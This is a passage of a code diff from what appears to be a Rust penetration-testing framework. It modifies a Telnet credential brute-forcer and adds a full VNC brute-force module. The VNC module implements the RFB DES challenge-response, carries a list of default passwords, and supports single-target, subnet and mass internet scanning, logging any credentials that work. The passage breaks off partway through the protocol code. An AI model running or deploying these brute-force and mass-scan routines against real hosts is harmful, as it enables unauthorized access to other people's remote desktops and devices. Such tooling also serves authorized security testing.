let _ = h.await;
|
||||
}
|
||||
// Try each credential pair
|
||||
for (user, pass) in TOP_CREDENTIALS.iter() {
|
||||
if verbose_flag {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] {}:{} trying {}:{}", ip, p, user, pass).dimmed()
|
||||
);
|
||||
}
|
||||
if let Ok(true) = try_telnet_login_hose(&socket, user, pass).await {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let line = format!("[{}] {}:{}:{}:{}\n", ts, ip, p, user, pass);
|
||||
|
||||
// Store credential in framework credential store
|
||||
let _ = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
p,
|
||||
"telnet",
|
||||
user,
|
||||
pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/telnet_hose",
|
||||
)
|
||||
.await;
|
||||
|
||||
// Save to dedicated results file if requested
|
||||
if let Some(ref path) = rf {
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.create(true).append(true);
|
||||
opts.mode(0o600);
|
||||
if let Ok(mut f) = opts.open(path) {
|
||||
let _ = std::io::Write::write_all(&mut f, line.as_bytes());
|
||||
}
|
||||
}
|
||||
|
||||
return Some(line);
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
},
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
// Simplified & Optimized Telnet Login for Hose
|
||||
@@ -280,7 +233,7 @@ async fn try_telnet_login_hose(
|
||||
if success {
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
|
||||
// If we failed AND never saw a proper banner (blind/silence), retry with Password Only
|
||||
if !banner_seen {
|
||||
// Attempt 2: Blind Password Only
|
||||
@@ -289,7 +242,7 @@ async fn try_telnet_login_hose(
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
@@ -299,13 +252,15 @@ async fn do_telnet_session(
|
||||
username: &str,
|
||||
password: &str,
|
||||
force_password_only: bool,
|
||||
) -> Result<(bool, bool)> { // returns (success, banner_detected)
|
||||
|
||||
) -> Result<(bool, bool)> {
|
||||
// returns (success, banner_detected)
|
||||
|
||||
let stream_res = timeout(
|
||||
Duration::from_millis(CONNECT_TIMEOUT_MS),
|
||||
TcpStream::connect(socket)
|
||||
).await;
|
||||
|
||||
Duration::from_millis(CONNECT_TIMEOUT_MS),
|
||||
TcpStream::connect(socket),
|
||||
)
|
||||
.await;
|
||||
|
||||
let stream = match stream_res {
|
||||
Ok(Ok(s)) => s,
|
||||
_ => return Ok((false, false)), // Connect fail
|
||||
@@ -330,7 +285,7 @@ async fn do_telnet_session(
|
||||
Ok(Err(_)) => return Ok((false, banner_detected)), // Error
|
||||
Err(_) => {
|
||||
// Read Timeout logic
|
||||
|
||||
|
||||
// If waiting for banner and timed out -> No Banner Detected
|
||||
if state == TelnetState::WaitingForBanner {
|
||||
// Decide action based on mode
|
||||
@@ -341,62 +296,75 @@ async fn do_telnet_session(
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if state == TelnetState::WaitingForResult || state == TelnetState::WaitingForHelpResponse {
|
||||
// Timeout waiting for result/help usually means fail or stuck
|
||||
return Ok((false, banner_detected));
|
||||
|
||||
if state == TelnetState::WaitingForResult
|
||||
|| state == TelnetState::WaitingForHelpResponse
|
||||
{
|
||||
// Timeout waiting for result/help usually means fail or stuck
|
||||
return Ok((false, banner_detected));
|
||||
}
|
||||
|
||||
continue;
|
||||
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
// IAC Stripping (Minimal)
|
||||
let s = String::from_utf8_lossy(&buf[..n]);
|
||||
let lower = s.to_lowercase();
|
||||
|
||||
|
||||
// Handle current state
|
||||
match state {
|
||||
TelnetState::WaitingForBanner => {
|
||||
if lower.contains("pass") || lower.contains("word") {
|
||||
banner_detected = true;
|
||||
state = TelnetState::SendingPassword;
|
||||
} else if lower.contains("login") || lower.contains("user") || lower.contains("name") {
|
||||
} else if lower.contains("login")
|
||||
|| lower.contains("user")
|
||||
|| lower.contains("name")
|
||||
{
|
||||
banner_detected = true;
|
||||
state = TelnetState::SendingUsername;
|
||||
}
|
||||
}
|
||||
TelnetState::SendingUsername => {
|
||||
// Should not happen here if we just transitioned,
|
||||
// but if we are reading response after sending user:
|
||||
if lower.contains("pass") || lower.contains("word") {
|
||||
// Should not happen here if we just transitioned,
|
||||
// but if we are reading response after sending user:
|
||||
if lower.contains("pass") || lower.contains("word") {
|
||||
state = TelnetState::SendingPassword;
|
||||
}
|
||||
}
|
||||
}
|
||||
TelnetState::WaitingForPasswordPrompt => {
|
||||
TelnetState::WaitingForPasswordPrompt => {
|
||||
if lower.contains("pass") || lower.contains("word") {
|
||||
state = TelnetState::SendingPassword;
|
||||
}
|
||||
}
|
||||
TelnetState::WaitingForResult => {
|
||||
if lower.contains("incorrect") || lower.contains("fail") || lower.contains("denied") || lower.contains("error") {
|
||||
if lower.contains("incorrect")
|
||||
|| lower.contains("fail")
|
||||
|| lower.contains("denied")
|
||||
|| lower.contains("error")
|
||||
{
|
||||
return Ok((false, banner_detected));
|
||||
}
|
||||
|
||||
if lower.contains("#") || lower.contains("$") || (lower.contains(">") && !lower.contains(">>")) || lower.contains("welcome") {
|
||||
if lower.contains("#")
|
||||
|| lower.contains("$")
|
||||
|| (lower.contains(">") && !lower.contains(">>"))
|
||||
|| lower.contains("welcome")
|
||||
{
|
||||
state = TelnetState::SendingHelp;
|
||||
}
|
||||
}
|
||||
TelnetState::WaitingForHelpResponse => {
|
||||
let mut match_count = 0;
|
||||
for kw in HELP_KEYWORDS {
|
||||
if lower.contains(kw) {
|
||||
match_count += 1;
|
||||
}
|
||||
}
|
||||
if match_count >= 2 {
|
||||
return Ok((true, banner_detected));
|
||||
}
|
||||
let mut match_count = 0;
|
||||
for kw in HELP_KEYWORDS {
|
||||
if lower.contains(kw) {
|
||||
match_count += 1;
|
||||
}
|
||||
}
|
||||
if match_count >= 2 {
|
||||
return Ok((true, banner_detected));
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
@@ -404,13 +372,17 @@ async fn do_telnet_session(
|
||||
// Perform Writes if needed
|
||||
match state {
|
||||
TelnetState::SendingUsername => {
|
||||
let _ = writer.write_all(format!("{}\r\n", username).as_bytes()).await;
|
||||
let _ = writer
|
||||
.write_all(format!("{}\r\n", username).as_bytes())
|
||||
.await;
|
||||
// Add requested 2s delay
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
state = TelnetState::WaitingForPasswordPrompt;
|
||||
}
|
||||
TelnetState::SendingPassword => {
|
||||
let _ = writer.write_all(format!("{}\r\n", password).as_bytes()).await;
|
||||
let _ = writer
|
||||
.write_all(format!("{}\r\n", password).as_bytes())
|
||||
.await;
|
||||
state = TelnetState::WaitingForResult;
|
||||
}
|
||||
TelnetState::SendingHelp => {
|
||||
|
||||
@@ -0,0 +1,774 @@
|
||||
//! VNC Brute Force Module
|
||||
//!
|
||||
//! Raw TCP implementation of VNC (RFB) DES challenge-response authentication.
|
||||
//! Supports RFB protocol versions 3.3, 3.7, and 3.8.
|
||||
//!
|
||||
//! Protocol flow:
|
||||
//! 1. Read server version: "RFB 003.00x\n"
|
||||
//! 2. Send client version: "RFB 003.008\n"
|
||||
//! 3. Read security types, select VNC Authentication (type 2)
|
||||
//! 4. Read 16-byte challenge
|
||||
//! 5. Encrypt challenge with DES using password (bit-reversed, padded to 8 bytes)
|
||||
//! 6. Send 16-byte encrypted response
|
||||
//! 7. Read 4-byte security result: 0x00000000 = success
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use des::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray};
|
||||
use des::Des;
|
||||
use std::io::Write;
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file,
|
||||
cfg_prompt_port, cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_VNC_PORT: u16 = 5900;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 5000;
|
||||
const READ_TIMEOUT_MS: u64 = 5000;
|
||||
|
||||
/// VNC is password-only (no username). These are common default passwords.
|
||||
const DEFAULT_PASSWORDS: &[&str] = &[
|
||||
"",
|
||||
"password",
|
||||
"1234",
|
||||
"admin",
|
||||
"vnc",
|
||||
"pass",
|
||||
"12345",
|
||||
"123456",
|
||||
"vncpass",
|
||||
"root",
|
||||
"test",
|
||||
"default",
|
||||
];
|
||||
|
||||
// RFB protocol constants
|
||||
const RFB_VERSION_38: &[u8] = b"RFB 003.008\n";
|
||||
const RFB_VERSION_37: &[u8] = b"RFB 003.007\n";
|
||||
const VNC_AUTH_TYPE: u8 = 2;
|
||||
const VNC_AUTH_NONE: u8 = 1;
|
||||
const CHALLENGE_LEN: usize = 16;
|
||||
|
||||
// ============================================================================
|
||||
// Module Info
|
||||
// ============================================================================
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "VNC Brute Force".to_string(),
|
||||
description: "Brute-force VNC authentication using DES challenge-response over raw TCP. \
|
||||
Implements the RFB protocol handshake with proper bit-reversed DES key derivation. \
|
||||
VNC uses password-only auth (max 8 chars). Supports default password testing, \
|
||||
wordlist mode, subnet scanning, and mass scan."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://www.rfc-editor.org/rfc/rfc6143".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Main Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("{}", "=== VNC Brute Force Module ===".bold());
|
||||
crate::mprintln!("[*] Target: {}", target);
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} -- Mass Scan Mode", target).yellow()
|
||||
);
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "VNC",
|
||||
default_port: DEFAULT_VNC_PORT,
|
||||
state_file: "vnc_brute_hose_state.log",
|
||||
default_output: "vnc_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(5)).await {
|
||||
return None;
|
||||
}
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let passwords = ["", "password", "1234", "admin", "vnc", "pass"];
|
||||
for pass in passwords {
|
||||
match try_vnc_auth(&addr, pass).await {
|
||||
VncResult::Success => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let display_pass = if pass.is_empty() { "(empty)" } else { pass };
|
||||
return Some(format!(
|
||||
"[{}] {}:{}:(vnc):{}\n",
|
||||
ts, ip, port, display_pass
|
||||
));
|
||||
}
|
||||
VncResult::NoAuth => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
return Some(format!(
|
||||
"[{}] {}:{}:(vnc):(no-auth-required)\n",
|
||||
ts, ip, port
|
||||
));
|
||||
}
|
||||
VncResult::ConnectionError(_) => return None,
|
||||
VncResult::AuthFailed | VncResult::ProtocolError(_) => {}
|
||||
}
|
||||
}
|
||||
None
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} (Subnet Scan)", target).cyan()
|
||||
);
|
||||
|
||||
let port: u16 = cfg_prompt_port("port", "VNC Port", DEFAULT_VNC_PORT).await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Password list empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"vnc_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
// VNC is password-only: use a single dummy username and the password list
|
||||
let users = vec!["vnc".to_string()];
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "vnc",
|
||||
source_module: "creds/generic/vnc_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, _user: String, pass: String| async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_vnc_auth(&addr, &pass).await {
|
||||
VncResult::Success | VncResult::NoAuth => LoginResult::Success,
|
||||
VncResult::AuthFailed => LoginResult::AuthFailed,
|
||||
VncResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
VncResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "VNC Port", DEFAULT_VNC_PORT).await?;
|
||||
|
||||
let use_defaults =
|
||||
cfg_prompt_yes_no("use_defaults", "Try default passwords first?", true).await?;
|
||||
|
||||
let passwords_file =
|
||||
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && passwords_file.is_none() {
|
||||
return Err(anyhow!(
|
||||
"At least a password wordlist or default passwords must be enabled"
|
||||
));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "5").await?;
|
||||
input.parse::<usize>().unwrap_or(5).max(1).min(50)
|
||||
};
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file("output_file", "Output file", "vnc_brute_results.txt").await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
// Load passwords
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Add default passwords if requested
|
||||
if use_defaults {
|
||||
for pass in DEFAULT_PASSWORDS {
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Added {} default passwords", DEFAULT_PASSWORDS.len()).green()
|
||||
);
|
||||
}
|
||||
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
// VNC is password-only: use a single dummy username for the combos framework
|
||||
let usernames = vec!["vnc".to_string()];
|
||||
let combos = generate_combos(&usernames, &passwords, false);
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!(
|
||||
"[*] Starting VNC brute-force on {}:{} ({} passwords, {} threads)",
|
||||
target,
|
||||
port,
|
||||
passwords.len(),
|
||||
concurrency
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[*] Note: VNC uses password-only auth (max 8 chars)".blue()
|
||||
);
|
||||
|
||||
let try_login = move |t: String, p: u16, _user: String, pass: String| async move {
|
||||
let addr = normalize_target(&format!("{}:{}", t, p))
|
||||
.unwrap_or_else(|_| format!("{}:{}", t, p));
|
||||
match try_vnc_auth(&addr, &pass).await {
|
||||
VncResult::Success | VncResult::NoAuth => LoginResult::Success,
|
||||
VncResult::AuthFailed => LoginResult::AuthFailed,
|
||||
VncResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
VncResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 100, // VNC servers often rate-limit; small delay helps
|
||||
max_retries,
|
||||
service_name: "vnc",
|
||||
source_module: "creds/generic/vnc_bruteforce",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
// Print results with VNC-specific formatting (password-only, no username)
|
||||
if result.found.is_empty() {
|
||||
crate::mprintln!("{}", "[-] No valid passwords found.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Found {} valid password(s):", result.found.len())
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
for (host, _user, pass) in &result.found {
|
||||
let display_pass = if pass.is_empty() {
|
||||
"(empty)".to_string()
|
||||
} else {
|
||||
pass.clone()
|
||||
};
|
||||
crate::mprintln!(" {} {} password: {}", ">>".green(), host, display_pass);
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored VNC responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "vnc_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# VNC Bruteforce Unknown/Errored Responses (host,pass,error)"
|
||||
)?;
|
||||
for (host, _user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {} - {}", host, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// VNC (RFB) Protocol Implementation
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug)]
|
||||
enum VncResult {
|
||||
/// Authentication succeeded (correct password).
|
||||
Success,
|
||||
/// Server requires no authentication.
|
||||
NoAuth,
|
||||
/// Authentication was rejected (wrong password).
|
||||
AuthFailed,
|
||||
/// TCP/IO error.
|
||||
ConnectionError(String),
|
||||
/// Protocol-level error (unsupported version, etc.).
|
||||
ProtocolError(String),
|
||||
}
|
||||
|
||||
/// Reverse the bits in a byte (VNC DES key derivation requirement).
|
||||
///
|
||||
/// VNC reverses each byte of the password before using it as a DES key.
|
||||
fn reverse_bits(b: u8) -> u8 {
|
||||
let mut result = 0u8;
|
||||
let mut input = b;
|
||||
for _ in 0..8 {
|
||||
result = (result << 1) | (input & 1);
|
||||
input >>= 1;
|
||||
}
|
||||
result
|
||||
}
|
||||
|
||||
/// Derive the VNC DES key from a password.
|
||||
///
|
||||
/// Password is truncated to 8 bytes (or zero-padded if shorter),
|
||||
/// then each byte is bit-reversed.
|
||||
fn vnc_des_key(password: &str) -> [u8; 8] {
|
||||
let mut key = [0u8; 8];
|
||||
let pass_bytes = password.as_bytes();
|
||||
let copy_len = pass_bytes.len().min(8);
|
||||
key[..copy_len].copy_from_slice(&pass_bytes[..copy_len]);
|
||||
|
||||
// Bit-reverse each byte
|
||||
for byte in &mut key {
|
||||
*byte = reverse_bits(*byte);
|
||||
}
|
||||
|
||||
key
|
||||
}
|
||||
|
||||
/// Encrypt a 16-byte VNC challenge using DES ECB with the derived key.
|
||||
///
|
||||
/// The challenge is encrypted as two 8-byte blocks independently (ECB mode).
|
||||
fn vnc_des_encrypt(key: &[u8; 8], challenge: &[u8; 16]) -> [u8; 16] {
|
||||
let des_key = GenericArray::from_slice(key);
|
||||
let cipher = Des::new(des_key);
|
||||
|
||||
let mut result = [0u8; 16];
|
||||
|
||||
// Encrypt first 8-byte block
|
||||
let mut block1 = GenericArray::clone_from_slice(&challenge[0..8]);
|
||||
cipher.encrypt_block(&mut block1);
|
||||
result[0..8].copy_from_slice(&block1);
|
||||
|
||||
// Encrypt second 8-byte block
|
||||
let mut block2 = GenericArray::clone_from_slice(&challenge[8..16]);
|
||||
cipher.encrypt_block(&mut block2);
|
||||
result[8..16].copy_from_slice(&block2);
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
/// Parse the RFB server version string and return (major, minor).
|
||||
fn parse_rfb_version(version_str: &[u8]) -> Result<(u16, u16)> {
|
||||
// Expected format: "RFB XXX.YYY\n" (12 bytes)
|
||||
if version_str.len() < 12 {
|
||||
return Err(anyhow!("Version string too short"));
|
||||
}
|
||||
if &version_str[0..4] != b"RFB " {
|
||||
return Err(anyhow!("Not an RFB server"));
|
||||
}
|
||||
|
||||
let major_str = String::from_utf8_lossy(&version_str[4..7]);
|
||||
let minor_str = String::from_utf8_lossy(&version_str[8..11]);
|
||||
|
||||
let major: u16 = major_str
|
||||
.trim()
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid major version: {}", major_str))?;
|
||||
let minor: u16 = minor_str
|
||||
.trim()
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid minor version: {}", minor_str))?;
|
||||
|
||||
Ok((major, minor))
|
||||
}
|
||||
|
||||
/// Attempt VNC authentication against a target address.
|
||||
async fn try_vnc_auth(addr: &str, password: &str) -> VncResult {
|
||||
// TCP connect with timeout
|
||||
let mut stream = match tokio::time::timeout(
|
||||
Duration::from_millis(CONNECT_TIMEOUT_MS),
|
||||
TcpStream::connect(addr),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => return VncResult::ConnectionError(format!("Connect failed: {}", e)),
|
||||
Err(_) => return VncResult::ConnectionError("Connection timeout".to_string()),
|
||||
};
|
||||
|
||||
// Step 1: Read server version string (12 bytes)
|
||||
let mut server_version = [0u8; 12];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut server_version),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => {
|
||||
return VncResult::ConnectionError(format!("Failed to read server version: {}", e))
|
||||
}
|
||||
Err(_) => return VncResult::ConnectionError("Timeout reading server version".to_string()),
|
||||
}
|
||||
|
||||
let (_major, minor) = match parse_rfb_version(&server_version) {
|
||||
Ok(v) => v,
|
||||
Err(e) => return VncResult::ProtocolError(format!("Version parse error: {}", e)),
|
||||
};
|
||||
|
||||
// Step 2: Send client version (use 3.8 for best compatibility, fall back to 3.7)
|
||||
let client_version = if minor >= 8 { RFB_VERSION_38 } else { RFB_VERSION_37 };
|
||||
if let Err(e) = stream.write_all(client_version).await {
|
||||
return VncResult::ConnectionError(format!("Failed to send client version: {}", e));
|
||||
}
|
||||
if let Err(e) = stream.flush().await {
|
||||
return VncResult::ConnectionError(format!("Flush error: {}", e));
|
||||
}
|
||||
|
||||
// Step 3: Read security types
|
||||
if minor >= 7 {
|
||||
// RFB 3.7+: read number of security types, then the type bytes
|
||||
let mut num_types_buf = [0u8; 1];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut num_types_buf),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => {
|
||||
return VncResult::ConnectionError(format!(
|
||||
"Failed to read security type count: {}",
|
||||
e
|
||||
))
|
||||
}
|
||||
Err(_) => {
|
||||
return VncResult::ConnectionError(
|
||||
"Timeout reading security type count".to_string(),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
let num_types = num_types_buf[0] as usize;
|
||||
|
||||
if num_types == 0 {
|
||||
// Server is refusing the connection -- read reason string
|
||||
let mut len_buf = [0u8; 4];
|
||||
if let Ok(Ok(_)) = tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut len_buf),
|
||||
)
|
||||
.await
|
||||
{
|
||||
let reason_len = u32::from_be_bytes(len_buf) as usize;
|
||||
if reason_len > 0 && reason_len < 4096 {
|
||||
let mut reason = vec![0u8; reason_len];
|
||||
if let Ok(Ok(_)) = tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut reason),
|
||||
)
|
||||
.await
|
||||
{
|
||||
let reason_str = String::from_utf8_lossy(&reason);
|
||||
if reason_str.to_lowercase().contains("too many") {
|
||||
return VncResult::ConnectionError(format!(
|
||||
"Rate limited: {}",
|
||||
reason_str
|
||||
));
|
||||
}
|
||||
return VncResult::ProtocolError(format!(
|
||||
"Connection refused: {}",
|
||||
reason_str
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
return VncResult::ProtocolError("Connection refused (0 security types)".to_string());
|
||||
}
|
||||
|
||||
let mut types = vec![0u8; num_types];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut types),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => {
|
||||
return VncResult::ConnectionError(format!(
|
||||
"Failed to read security types: {}",
|
||||
e
|
||||
))
|
||||
}
|
||||
Err(_) => {
|
||||
return VncResult::ConnectionError("Timeout reading security types".to_string())
|
||||
}
|
||||
}
|
||||
|
||||
// Check for None auth (type 1) -- no password needed
|
||||
if types.contains(&VNC_AUTH_NONE) && !types.contains(&VNC_AUTH_TYPE) {
|
||||
// Select None auth
|
||||
if let Err(e) = stream.write_all(&[VNC_AUTH_NONE]).await {
|
||||
return VncResult::ConnectionError(format!("Failed to select None auth: {}", e));
|
||||
}
|
||||
return VncResult::NoAuth;
|
||||
}
|
||||
|
||||
if !types.contains(&VNC_AUTH_TYPE) {
|
||||
return VncResult::ProtocolError(format!(
|
||||
"VNC Authentication (type 2) not supported. Available: {:?}",
|
||||
types
|
||||
));
|
||||
}
|
||||
|
||||
// Select VNC Authentication (type 2)
|
||||
if let Err(e) = stream.write_all(&[VNC_AUTH_TYPE]).await {
|
||||
return VncResult::ConnectionError(format!(
|
||||
"Failed to select VNC auth type: {}",
|
||||
e
|
||||
));
|
||||
}
|
||||
if let Err(e) = stream.flush().await {
|
||||
return VncResult::ConnectionError(format!("Flush error: {}", e));
|
||||
}
|
||||
} else {
|
||||
// RFB 3.3: server picks the security type (4 bytes, big-endian)
|
||||
let mut type_buf = [0u8; 4];
|
||||
match tokio::time::timeout(
|
||||
